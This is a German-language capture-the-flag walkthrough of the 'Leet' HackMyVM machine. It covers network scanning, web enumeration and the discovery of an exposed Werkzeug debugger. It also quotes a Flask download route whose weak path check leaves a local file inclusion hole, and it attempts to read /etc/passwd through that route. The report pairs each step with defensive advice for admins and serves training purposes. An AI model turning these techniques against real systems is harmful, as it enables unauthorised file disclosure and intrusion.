Leet - HackMyVM - Level: Hard - Bericht

Hard

Verwendete Tools

arp-scan
vi
nmap
nikto
gobuster
python3
curl
nano
scp
ss
sudo
micro
nc
su
cat

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿CCat)-[~] └─# arp-scan -l | grep "PCS" | awk '{print $1}'
192.168.2.44

Analyse: Dieser Befehl ist ein klassischer erster Schritt im Reconnaissance-Prozess. Ich nutze arp-scan, um das lokale Netzwerk (identifiziert durch den Parameter -l) nach aktiven Geräten zu scannen. Die Ausgabe pipe ich dann an grep "PCS", um die Ergebnisse nach Zeilen zu filtern, die die Zeichenkette "PCS" enthalten. Dies ist oft hilfreich, um Geräte basierend auf Herstellerinformationen oder vordefinierten Namen in der ARP-Tabelle zu identifizieren. Der gefundene Eintrag wird abschließend mittels awk '{print $1}' verarbeitet, um nur das erste Feld der gefilterten Zeile auszugeben, was in der Regel die IP-Adresse des gefundenen Systems ist. Für Laien: Ich durchsuche mein lokales Netzwerk nach Geräten und filtere die Ergebnisse, um die IP-Adresse eines bestimmten Geräts zu finden, das mit "PCS" in Verbindung gebracht wird (oft der Hersteller der Netzwerkarte). Für Experten: Die Kombination von Standard-Linux-Tools in einer Pipe ist eine effiziente Methode zur schnellen Extraktion spezifischer Informationen aus rohen Scan-Ergebnissen.

Bewertung: Das Ergebnis liefert mir die IP-Adresse 192.168.2.44. Dies ist ein entscheidender Erfolg, da ich nun einen konkreten Zielhost für weitere Scans und Enumeration habe. Die Methode über arp-scan und Filterung ist effektiv, um im lokalen Segment Hosts schnell zu identifizieren. Es zeigt, dass das Ziel im selben Netzwerksegment liegt wie mein Angreifer-System und aktiv ist.

Empfehlung (Pentester): Die gefundene IP-Adresse ist nun das Hauptziel für detailliertere Scans (z.B. Portscanning mit Nmap). Ich werde diese IP als Basis für alle weiteren Interaktionen nutzen.
Empfehlung (Admin): Stellen Sie sicher, dass nicht benötigte Geräte oder virtuelle Maschinen in sensiblen Netzwerksegmenten isoliert sind. Überprüfen Sie, welche Informationen über Geräte im lokalen Netzwerk über ARP-Tabellen öffentlich zugänglich sind. Grundlegend: Unbekannte oder verdächtige Geräte sollten im Netzwerk identifiziert und isoliert werden.

┌──(root㉿CCat)-[~] └─# vi /etc/hosts
192.168.2.44   leet.hmv

Analyse: Ich editiere die Datei /etc/hosts auf meinem lokalen Kali-System mit dem Texteditor vi. Diese Datei ist eine einfache Textdatei, die IP-Adressen Hostnamen zuordnet. Indem ich den Eintrag 192.168.2.44 leet.hmv hinzufüge, weise ich der IP-Adresse 192.168.2.44 den lokalen Hostnamen leet.hmv zu. Für Laien: Ich 'taufe' die IP-Adresse, die ich gefunden habe, lokal auf meinem Computer mit einem Namen (leet.hmv), damit ich sie später einfacher ansprechen kann, z.B. mit Befehlen wie ping leet.hmv statt ping 192.168.2.44. Für Experten: Das Hinzufügen eines Eintrags in /etc/hosts ist eine gängige Praxis, um die IP-Adresse eines Zielsystems mit einem aussagekräftigen Namen zu versehen, was die Lesbarkeit und Wartbarkeit von Befehlen und Skripten während des Pentests erheblich verbessert, insbesondere wenn man mit mehreren Hosts gleichzeitig arbeitet.

Bewertung: Das erfolgreiche Hinzufügen des Eintrags 192.168.2.44 leet.hmv in /etc/hosts ist eine kleine, aber wichtige Vorbereitung. Es ermöglicht mir, im weiteren Verlauf des Berichts konsistent den Hostnamen leet.hmv zu verwenden, was den Bericht übersichtlicher macht und meine Schritte leichter nachvollziehbar gestaltet. Es hat keinen direkten Einfluss auf das Zielsystem, verbessert aber meine Arbeitsweise erheblich.

Empfehlung (Pentester): Diese Methode ist empfehlenswert für Hosts, mit denen intensiv interagiert wird. Stellen Sie sicher, dass der gewählte Hostname keine Konflikte mit existierenden Namen oder DNS-Einträgen im Testnetzwerk verursacht. Alternativ könnte man die IP direkt verwenden oder temporäre DNS-Einträge hinzufügen.
Empfehlung (Admin): Dieses Vorgehen betrifft nur das Angreifer-System und hat keine Auswirkung auf die Sicherheit des Zielsystems. Es unterstreicht jedoch die Bedeutung einer sauberen Namensauflösung in Netzwerken.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -p- -T5 -AO 192.168.2.44 | grep open
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
7777/tcp open  http    Werkzeug httpd 3.0.1 (Python 3.11.2)

Analyse: Hier führe ich einen umfangreichen Nmap-Scan gegen das Zielsystem 192.168.2.44 durch. Ich verwende eine Kombination von Flags: -sS für einen schnellen SYN-Scan (auch Stealth-Scan genannt), -sC, um Standard-Skripte zur Diensterkennung auszuführen, -sV, um detaillierte Versionsinformationen der offenen Dienste zu ermitteln, -p-, um alle 65535 TCP-Ports zu scannen, -T5 für eine aggressive Timing-Vorlage (schnellstmöglich, ohne Rücksicht auf Stabilität), und -AO für OS-Erkennung. Die gesamte Ausgabe pipe ich dann an grep open, um nur die Zeilen anzuzeigen, die den Status "open" enthalten, was bedeutet, dass auf diesen Ports Dienste lauschen. Für Laien: Ich klopfe systematisch an alle virtuellen 'Türen' (Ports) des Zielcomputers, um herauszufinden, welche offen sind und welche Programme dahinter stecken. Das Ergebnis filtere ich so, dass ich nur die offenen Türen sehe. Für Experten: Die Kombination dieser Nmap-Flags liefert schnell einen umfassenden Überblick über die exponierten Dienste und deren Versionen, was kritisch für die Identifizierung potenzieller Angriffsvektoren ist. Das Aggressive Timing (-T5) kann jedoch in instabilen Umgebungen oder bei Intrusion Detection/Prevention Systems auffallen.

Bewertung: Das Ergebnis des gefilterten Nmap-Scans ist sehr aufschlussreich. Es zeigt, dass nur zwei Ports geöffnet und für externe Verbindungen verfügbar sind: Port 22 mit einem SSH-Dienst (OpenSSH 9.2p1) und Port 7777 mit einem HTTP-Dienst (Werkzeug httpd 3.0.1, basierend auf Python 3.11.2). Die Tatsache, dass so wenige Ports offen sind, deutet auf eine gewisse Grundhärtung hin, was bei Systemen mit höherem Schwierigkeitsgrad üblich ist. Der HTTP-Dienst auf einem unüblichen Port (7777 statt 80 oder 443) ist besonders interessant und wird mein primäres Ziel für die weitere Enumeration sein.

Empfehlung (Pentester): Ich werde mich nun auf die Enumeration der gefundenen Dienste konzentrieren, insbesondere auf den HTTP-Dienst auf Port 7777. SSH auf Port 22 ist ein Standarddienst; hier werde ich versuchen, bekannte Schwachstellen in OpenSSH 9.2p1 zu prüfen und Brute-Force-Angriffe in Betracht ziehen, falls Anmeldedaten gefunden werden.
Empfehlung (Admin): Stellen Sie sicher, dass nur absolut notwendige Dienste für externe Verbindungen geöffnet sind. Überprüfen Sie die Konfiguration des SSH-Dienstes (z.B. Deaktivierung von Root-Anmeldung, Verwendung von Schlüsselpaaren statt Passwörtern, Ratenbegrenzung) und des HTTP-Dienstes auf Port 7777. Halten Sie die Software (OpenSSH, Werkzeug/Python) aktuell, um bekannte Schwachstellen zu minimieren. Der nicht standardmäßige HTTP-Port 7777 bietet keine Sicherheit, solange der Dienst erreichbar ist.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -p- -T5 -AO 192.168.2.44
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-15 21:31 CEST
Nmap scan report for leet.hmv (192.168.2.44)
Host is up (0.00015s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
|   256 e1:5d:7c:b7:07:92:17:dc:46:76:7d:be:a9:50:43:d2 (ECDSA)
|_  256 a0:f3:b3:86:93:f5:58:82:88:dd:e5:10:db:35:de:62 (ED25519)
7777/tcp open  http    Werkzeug httpd 3.0.1 (Python 3.11.2)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-server-header: Werkzeug/3.0.1 Python/3.11.2
MAC Address: 08:00:27:8E:D7:37 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.15 ms leet.hmv (192.168.2.44)

Analyse: Dies ist die vollständige Ausgabe des zuvor ausgeführten Nmap-Scans, diesmal ohne Filterung per grep. Sie liefert mir alle Details, die Nmap erfassen konnte: die Nmap-Version und Startzeit, den Scan-Bericht für den Host, die Anzahl der geschlossenen Ports, die detaillierten Informationen zu den offenen Ports 22 (SSH) und 7777 (HTTP, Werkzeug), inklusive SSH-Hostkeys und HTTP-Header/Titelinformationen. Zusätzlich enthält die Ausgabe Informationen zur MAC-Adresse (oft Herstellerbezogen, hier Oracle VirtualBox), geschätzter Geräte- und OS-Typ (Linux Kernel 4.X/5.X), sowie TRACEROUTE-Informationen (hier nur ein Hop). Für Laien: Das ist der komplette 'Gesundheits-Check' des Zielcomputers, der nicht nur offene 'Türen' zeigt, sondern auch Details zu den 'Schlössern' (Dienste), dem 'Typ' des Computers (Betriebssystem) und wie viele 'Schritte' (Netzwerk-Hops) er von meinem Computer entfernt ist. Für Experten: Die vollständige Nmap-Ausgabe ist die definitive Quelle für gefundene Dienste, Versionen und Konfigurationsdetails (wie SSH-Hostkeys, HTTP-Header), die für die Identifizierung spezifischer Schwachstellen und die Planung von Exploits unerlässlich sind. OS-Erkennung (-AO) ist oft nicht 100% genau, liefert aber nützliche Hinweise auf die zugrundeliegende Plattform.

Bewertung: Die vollständige Ausgabe bestätigt und erweitert die Ergebnisse des gefilterten Scans. Die identifizierten Versionen (OpenSSH 9.2p1, Werkzeug httpd 3.0.1, Python 3.11.2, Debian-Basis) sind präzise und ermöglichen gezielte Recherchen nach bekannten Schwachstellen (CVEs). Die HTTP-Header Werkzeug/3.0.1 Python/3.11.2 sind sehr spezifisch und bestätigen die Technologie hinter dem Webserver auf Port 7777. Die MAC-Adresse 08:00:27:8E:D7:37 identifiziert das Ziel als virtuelle Maschine unter Oracle VirtualBox, was ein häufiges Szenario in CTFs und Testumgebungen ist. Die geschätzte OS-Familie (Linux) ist konsistent mit der SSH-Version und dem Python-Webserver. Die geringe Latenz und 1 Hop bestätigen die direkte Erreichbarkeit im lokalen Netz.

Empfehlung (Pentester): Ich werde die spezifischen Versionen der Software nun in Schwachstellen-Datenbanken (wie CVE Details, Exploit-DB) recherchieren. Die spezifischen HTTP-Header sind ein starker Indikator für die Technologie und sollten weiter analysiert werden, insbesondere im Kontext des ungewöhnlichen Ports 7777. Die VirtualBox-Erkennung ist nützlicher Kontext.
Empfehlung (Admin): Eine genaue OS-Erkennung durch Tools wie Nmap kann durch restriktivere Firewall-Regeln oder die Deaktivierung bestimmter Nmap-freundlicher Protokolle erschwert werden. Die offen gelegten Software-Versionen erlauben einem Angreifer gezielte Angriffe. Stellen Sie sicher, dass unnötige Netzwerkadapter (wie die von VirtualBox exponierte) korrekt konfiguriert sind und keine ungewollten Informationen preisgeben.

┌──(root㉿CCat)-[~] └─# curl -Iv "http://192.168.2.44:7777"
*   Trying 192.168.2.44:7777...
* Connected to 192.168.2.44 (192.168.2.44) port 7777
* using HTTP/1.x
> HEAD / HTTP/1.1
> Host: 192.168.2.44:7777
> User-Agent: curl/8.13.0
> Accept: */*
>
* Request completely sent off
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
HTTP/1.0 200 OK
< Server: Werkzeug/3.0.1 Python/3.11.2
Server: Werkzeug/3.0.1 Python/3.11.2
< Date: Sun, 15 Jun 2025 19:46:30 GMT
Date: Sun, 15 Jun 2025 19:46:30 GMT
< Content-Type: text/html; charset=utf-8
Content-Type: text/html; charset=utf-8
< Content-Length: 1234
Content-Length: 1234
< Connection: close
Connection: close
<

* shutting down connection #0

Analyse: Ich nutze curl mit den Flags -I (nur Header holen) und -v (verbose Ausgabe) gegen den HTTP-Dienst auf Port 7777 der Ziel-IP 192.168.2.44. Anstatt die Standard-GET-Anfrage zu senden, sende ich eine HEAD-Anfrage (durch -I impliziert), die nur die Header-Informationen des Servers zurückgeben sollte, ohne den eigentlichen Inhalt der Seite herunterzuladen. Der -v Parameter zeigt die Details des Verbindungsprozesses und sowohl die gesendeten Anfragen als auch die empfangenen Antworten. Für Laien: Ich frage den Webserver auf Port 7777 ganz detailliert nach seiner 'Visitenkarte' (den Headern), ohne mir den Inhalt der 'Website' anzuschauen. Das hilft mir zu sehen, wie der Server auf eine einfache Anfrage reagiert und welche Basisinformationen er preisgibt. Für Experten: Eine HEAD-Anfrage ist nützlich, um Server-Header und Status-Codes zu prüfen, ohne unnötig Bandbreite zu verbrauchen oder Logs mit vollen GET-Anfragen zu füllen. Die Verbose-Ausgabe von curl gibt tieferen Einblick in den TLS-Handshake (falls HTTPS) und den gesamten Anfrage-/Antwortzyklus.

Bewertung: Die curl -Iv Ausgabe bestätigt die Ergebnisse von Nmap bezüglich des HTTP-Dienstes: Der Server antwortet mit einem HTTP/1.0 200 OK Status, was bedeutet, dass der Dienst aktiv und erreichbar ist. Die Server-Header Server: Werkzeug/3.0.1 Python/3.11.2 werden ebenfalls erneut bestätigt. Diese spezifischen Header sind besonders wertvoll, da sie die zugrundeliegende Web-Technologie eindeutig identifizieren. Die Bestätigung der Konnektivität und der Technologie-Stack auf Port 7777 macht diesen Dienst zum primären Ziel für die Web-Enumeration.

Empfehlung (Pentester): Der nächste logische Schritt ist eine detaillierte Enumeration des Webservers auf Port 7777. Dazu gehören Verzeichnis-Brute-Forcing, die Suche nach bekannten Schwachstellen in Werkzeug/Python und die manuelle Analyse der Webanwendung selbst.
Empfehlung (Admin): Minimieren Sie die Informationen, die Server-Header preisgeben (sog. 'Header Obfuscation' oder 'Server Signature Hiding'). Die exakte Version von Werkzeug und Python offenzulegen, erleichtert gezielte Angriffe, falls in diesen Versionen Schwachstellen bekannt sind. Konfigurieren Sie den Server so, dass er nur notwendige Header sendet.

Web Enumeration

┌──(root㉿CCat)-[~] └─# nikto -h http://leet.hmv:7777
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.44
+ Target Hostname:    leet.hmv
+ Target Port:        7777
+ Start Time:         2025-06-15 21:32:10 (GMT2)
---------------------------------------------------------------------------
+ Server: Werkzeug/3.0.1 Python/3.11.2
+ /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options]
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/]
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ OPTIONS: Allowed HTTP Methods: POST, GET, OPTIONS, HEAD .
+ /console: This might be interesting.
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 7962 requests: 0 error(s) and 5 item(s) reported on remote host
+ End Time:           2025-06-15 21:32:24 (GMT2) (14 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Analyse: Ich setze das Tool nikto ein, einen weit verbreiteten Webserver-Scanner, um den HTTP-Dienst auf Port 7777 (Hostname leet.hmv) automatisiert auf bekannte Schwachstellen, Konfigurationsfehler und interessante Dateien/Pfade zu prüfen. Nikto führt eine Vielzahl von Tests durch, die über eine einfache Verzeichnis-Enumeration hinausgehen und spezifische Webserver-Schwachstellen, veraltete Software, potenziell gefährliche Dateien und Konfigurationsprobleme erkennen sollen. Für Laien: Nikto ist ein automatischer Detektiv, der die Website auf Port 7777 auf Hunderte von bekannten Problemen und versteckten Hinweisen untersucht, die ein Angreifer ausnutzen könnte. Für Experten: Nikto ist ein wertvolles Werkzeug für eine schnelle automatisierte Web-Sicherheitsprüfung, das oft erste Hinweise auf interessante Endpunkte (wie Admin-Panels, Testdateien) oder fehlende Sicherheits-Header liefert. Es ist jedoch ein 'Signature-Based'-Scanner und findet keine unbekannten Schwachstellen.

Bewertung: Die Nikto-Ausgabe liefert mehrere wichtige Informationen. Erstens bestätigt sie erneut den Server (Werkzeug/Python). Zweitens identifiziert sie fehlende Sicherheits-Header (X-Frame-Options, X-Content-Type-Options), was auf eine potenziell unzureichende Härtung hinweist. Drittens listet sie die erlaubten HTTP-Methoden auf (POST, GET, OPTIONS, HEAD). Am wichtigsten sind jedoch die gefundenen 'interessanten' Pfade: /console (markiert als 'This might be interesting') und /#wp-config.php# (markiert als 'file found' und 'contains the credentials'). Die Referenz auf wp-config.php in einem Nicht-WordPress-Kontext (Werkzeug/Python) ist verdächtig und deutet auf eine mögliche Fehlkonfiguration oder einen Hinweis hin. Der /console-Pfad, insbesondere im Kontext von Python/Werkzeug, könnte auf eine interaktive Debugging-Konsole hindeuten, was eine kritische Schwachstelle wäre.

Empfehlung (Pentester): Ich werde die gefundenen Pfade /console und /#wp-config.php# umgehend manuell untersuchen. Die erlaubten HTTP-Methoden, insbesondere OPTIONS und möglicherweise POST, könnten ebenfalls relevant sein. Die fehlenden Sicherheits-Header sind eher ein Hinweis auf Konfigurationsmängel als ein direkter Angriffsvektor, sollten aber notiert werden.
Empfehlung (Admin): Implementieren Sie essentielle Sicherheits-Header wie X-Frame-Options, X-Content-Type-Options, Strict-Transport-Security (falls HTTPS verwendet wird) und eine Content Security Policy (CSP), um gängige clientseitige Angriffe zu mitigieren. Stellen Sie sicher, dass keine Debug-Endpunkte wie /console in Produktionsumgebungen zugänglich sind. Überprüfen Sie das Vorhandensein und die Zugänglichkeit potenziell sensibler Dateien wie #wp-config.php# oder ähnliche Backup-Dateien.

┌──(root㉿CCat)-[~] └─# gobuster dir -u "http://leet.hmv:7777" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml,yaml,bak -b '503,404,403' -e --no-error -k
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://leet.hmv:7777
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   503,404,403
[+] User Agent:              gobuster/3.6
[+] Extensions:              pl,png,config,xls,sh,kdbx,icon,zip,bak,conf,ELF,csh,html,pdf,deb,old,tar,crt,desc,js.map,doc,py,jpg,csv,dll,raw,txt,sql,bat,ps1,jpeg,ln,rar,asp,exe,pem,lib,rpm,diff,mod,php,mdb,xml,json,eps,pub,db,java,gz,c,pHtml,accdb,phtml,rtf,exp,elf,xlsx,aspx,cgi,docx,svg,yaml
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
http://leet.hmv:7777/download             (Status: 500) [Size: 14478]

Analyse: Ich verwende gobuster, ein weiteres Tool zur Web-Enumeration, speziell zum Brute-Forcing von Verzeichnissen und Dateien auf dem Webserver. Ich ziele auf die URL http://leet.hmv:7777 ab und nutze eine umfangreiche Wortliste (directory-list-2.3-medium.txt aus Seclists). Mit dem Parameter -x gebe ich eine sehr lange Liste von Dateierweiterungen an, nach denen gesucht werden soll, um auch spezifische Dateitypen zu finden (z.B. .txt, .php, .sql, .py, .bak etc.). Der Parameter -b '503,404,403' weist gobuster an, Seiten mit den Statuscodes 503 (Service Unavailable), 404 (Not Found) und 403 (Forbidden) als 'nicht gefunden' zu ignorieren. -e zeigt die vollständige URL an, --no-error unterdrückt Fehler, und -k ignoriert SSL/TLS-Zertifikatsfehler (hier nicht direkt relevant, da HTTP). Für Laien: Ich lasse ein Programm systematisch Tausende von möglichen Namen für Webseiten-Ordner und -Dateien ausprobieren, kombiniert mit vielen verschiedenen Endungen (wie .html, .php, .txt), um versteckte Pfade auf der Website zu finden. Dabei ignoriere ich bestimmte Fehlermeldungen, um die Ergebnisse sauberer zu halten. Für Experten: Gobuster ist oft schneller und flexibler als dirb/dirbuster. Die Verwendung einer großen Wortliste in Kombination mit vielen Extensions erhöht die Chance, versteckte Ressourcen zu finden. Das Filtern von Statuscodes ist essentiell, um falsch positive Ergebnisse zu vermeiden.

Bewertung: Gobuster findet nur einen einzigen Pfad mit einem interessanten Statuscode, der nicht auf der Ignorierliste steht: /download mit dem Status 500 (Internal Server Error) und einer beträchtlichen Größe ([Size: 14478]). Während ein 500er Fehler normalerweise auf ein Problem auf Serverseite hindeutet, ist die Tatsache, dass dieser spezifische Pfad diesen Fehler zurückgibt, bemerkenswert. Es deutet darauf hin, dass der Endpunkt existiert, aber ein Fehler auftritt, wenn er ohne erwartete Parameter aufgerufen wird. Dies ist ein starker Hinweis darauf, dass /download ein funktionaler Endpunkt ist, der eine bestimmte Eingabe erwartet.

Empfehlung (Pentester): Der /download-Endpunkt muss manuell untersucht werden. Die Tatsache, dass er einen 500er Fehler bei einfachem Aufruf zurückgibt, legt nahe, dass er Parameter erwartet. Ich werde versuchen, verschiedene Parameter und Werte an diesen Endpunkt zu senden, um sein Verhalten zu verstehen und den Fehler zu umgehen oder auszunutzen. Die Größe der Antwort (~14KB) bei einem Fehler ist ebenfalls verdächtig.
Empfehlung (Admin): Webserver-Logs sollten kontinuierlich überwacht werden, um ungewöhnliche Anfragen und Fehler (wie die 500er Fehler auf /download) zu erkennen. Interne Server-Fehler können ungewollt Informationen über die Server-Konfiguration oder den Quellcode preisgeben. Stellen Sie sicher, dass Endpunkte, die Parameter erwarten, klare Fehlermeldungen für Endbenutzer liefern, aber keine internen Details offenlegen.

Initial Access

http://leet.hmv:7777/download


ValueError

ValueError: Parameter 'filename' invalid or missing.
Traceback (most recent call last)

    File "/opt/project/venv/lib/python3.11/site-packages/flask/app.py", line 1488, in __call__

    return self.wsgi_app(environ, start_response)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

    File "/opt/project/venv/lib/python3.11/site-packages/flask/app.py", line 1466, in wsgi_app

    response = self.handle_exception(e)
               ^^^^^^^^^^^^^^^^^^^^^^^^

    File "/opt/project/venv/lib/python3.11/site-packages/flask/app.py", line 1463, in wsgi_app

    response = self.full_dispatch_request()
               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^

    File "/opt/project/venv/lib/python3.11/site-packages/flask/app.py", line 872, in full_dispatch_request

    rv = self.handle_user_exception(e)
         ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

    File "/opt/project/venv/lib/python3.11/site-packages/flask/app.py", line 870, in full_dispatch_request

    rv = self.dispatch_request()
         ^^^^^^^^^^^^^^^^^^^^^^^ [Open an interactive python shell in this frame]

    File "/opt/project/venv/lib/python3.11/site-packages/flask/app.py", line 855, in dispatch_request

    return self.ensure_sync(self.view_functions[rule.endpoint])(**view_args)  # type: ignore[no-any-return]
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

    File "/opt/project/app.py", line 84, in download_file

    raise ValueError("Parameter 'filename' invalid or missing.")
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

    ValueError: Parameter 'filename' invalid or missing.

The debugger caught an exception in your WSGI application. You can now look at the traceback which led to the error.

To switch between the interactive traceback and the plaintext one, you can click on the "Traceback" headline. From the text traceback you can also create a paste of it. For code execution mouse-over the frame you want to debug and click on the console icon on the right side.

You can execute arbitrary Python code in the stack frames and there are some extra helpers available for introspection:

    dump() shows all variables in the frame
    dump(obj) dumps all that's known about the object

Brought to you by DON'T PANIC, your friendly Werkzeug powered traceback interpreter.

Analyse: Nachdem Gobuster den interessanten /download-Pfad gefunden hat, habe ich versucht, ihn direkt im Browser aufzurufen, ohne weitere Parameter anzugeben. Wie erwartet, hat dies zu einem internen Serverfehler geführt (Status 500, wie von Gobuster gesehen). Die hier gezeigte Ausgabe ist die Fehlerseite, die vom Server zurückgegeben wird. Sie enthält einen detaillierten Python-Traceback, der auf einen ValueError hinweist: "Parameter 'filename' invalid or missing." Für Laien: Ich habe versucht, eine 'Download'-Funktion auf der Webseite zu benutzen, aber ich habe ihr nicht gesagt, welche Datei sie herunterladen soll. Das hat das Programm zum Absturz gebracht, und statt einer einfachen Fehlermeldung zeigt es mir, wo im Programmcode der Fehler passiert ist. Für Experten: Die Rückgabe eines detaillierten Tracebacks in der Produktionsumgebung (oder Testumgebung in diesem Fall) ist eine schwerwiegende Sicherheitslücke. Sie offenbart interne Details der Anwendung, den Pfad der Quelldateien (z.B. /opt/project/app.py) und die verwendete Technologie (Flask, Werkzeug), was einem Angreifer wertvolle Einblicke für weitere Angriffe liefert.

Bewertung: Die Fehlermeldung und der Traceback sind extrem aufschlussreich. Sie bestätigen nicht nur, dass der /download-Endpunkt einen Parameter erwartet, sondern zeigen auch den Namen des erwarteten Parameters ('filename') und die genaue Art des Fehlers, wenn dieser fehlt oder ungültig ist. Noch wichtiger ist die Offenlegung des Dateipfads /opt/project/app.py, der Flask/Werkzeug-Technologie und des Werkzeug-Debuggers. Das Vorhandensein des Debuggers ist ein kritischer Fund, da Werkzeug-Debugger in der Vergangenheit für Schwachstellen bekannt waren, die die Ausführung beliebigen Codes ermöglichen können, insbesondere wenn der Debugger PIN-geschützt, aber nicht ordnungsgemäß konfiguriert ist.

Empfehlung (Pentester): Das primäre Ziel ist nun, den /download-Endpunkt auszunutzen, um die LFI-Schwachstelle zu demonstrieren und möglicherweise den Werkzeug-Debugger zu kompromittieren. Ich werde versuchen, Dateipfade über den filename-Parameter anzugeben, um sensible Dateien wie /etc/passwd oder den Quellcode der Anwendung selbst zu lesen. Die Debugger-Informationen deuten auf die Möglichkeit hin, die Konsole freizuschalten, was oft die Berechnung eines PINs basierend auf Systeminformationen erfordert.
Empfehlung (Admin): Deaktivieren Sie den Debug-Modus in Produktionsumgebungen. Stellen Sie sicher, dass detaillierte Fehlermeldungen und Tracebacks niemals für Endbenutzer sichtbar sind. Fangen Sie Ausnahmen auf Anwendungsebene ab und zeigen Sie generische Fehlermeldungen an. Validieren und bereinigen Sie jegliche Benutzereingaben strikt, insbesondere Dateinamen oder Pfade, die von Webanwendungen verarbeitet werden. Implementieren Sie eine Whitelist erlaubter Dateinamen oder Verzeichnisse, anstatt Blacklists zu verwenden.

Analyse der LFI (Local File Inclusion) Schwachstelle

Du hast den /download-Endpunkt gefunden und versucht, /etc/passwd zu lesen. Das hat zu einem Fehler geführt. Schauen wir uns an, warum. Im Traceback sehen wir den entscheidenden Teil des Python-Codes aus /opt/project/app.py:

===================================================================================================================
@app.route('/download')
def download_file():
    filename = request.args.get('filename') # Nimmt den 'filename' Parameter aus der URL

    if not filename or filename.startswith("/"): # Prüft, ob der Parameter leer ist ODER mit "/" beginnt
        raise ValueError("Parameter 'filename' invalid or missing.") # Wenn ja, Fehler!

    filepath = os.path.join("/tmp", filename) # Verbindet "/tmp" mit deinem Dateinamen

    try:
        return send_file(filepath, as_attachment=True)
===================================================================================================================

Analyse: Basierend auf der vorherigen Fehlermeldung und dem offensichtlichen Zweck des /download-Endpunkts, habe ich versucht, mit der URL http://leet.hmv:7777/download?filename=/etc/passwd direkt auf eine Datei zuzugreifen, indem ich den Pfad zur Datei /etc/passwd als Wert für den Parameter filename übergebe. Das Ziel war, eine Local File Inclusion (LFI) Schwachstelle auszunutzen. Der Traceback bestätigt, dass ein Parameter namens 'filename' verwendet wird. Der im Originaltext bereitgestellte Code-Snippet aus app.py zeigt klar, wie der Parameter filename aus der URL gelesen wird (request.args.get('filename')) und eine grundlegende Validierung durchgeführt wird: es wird geprüft, ob der Parameter nicht leer ist UND ob er NICHT mit einem Schrägstrich (/) beginnt. Wenn eine dieser Bedingungen zutrifft, wird ein ValueError ausgelöst. Abschließend wird der übergebene Dateiname mit dem Pfad /tmp verbunden (os.path.join("/tmp", filename)), bevor versucht wird, die resultierende Datei zu senden. Für Laien: Ich habe versucht, über die 'Download'-Funktion eine Systemdatei (/etc/passwd) anzufordern. Das Programm prüft aber, ob der 'Dateiname' mit einem Schrägstrich beginnt, um zu verhindern, dass man auf Dateien außerhalb des erwarteten Ordners zugreift. Da /etc/passwd mit einem Schrägstrich beginnt, schlägt dieser direkte Versuch fehl. Für Experten: Die Anwendung versucht, absolute Pfade durch die startswith("/") Prüfung zu blockieren. Das Verbinden des übergebenen Dateinamens mit /tmp (os.path.join("/tmp", filename)) ist der Schlüsselpunkt. Dies bedeutet, dass die Anwendung erwartet, Dateien aus dem /tmp-Verzeichnis herunterzuladen. Um LFI auszunutzen, muss ich die Pfadbeschränkung umgehen.

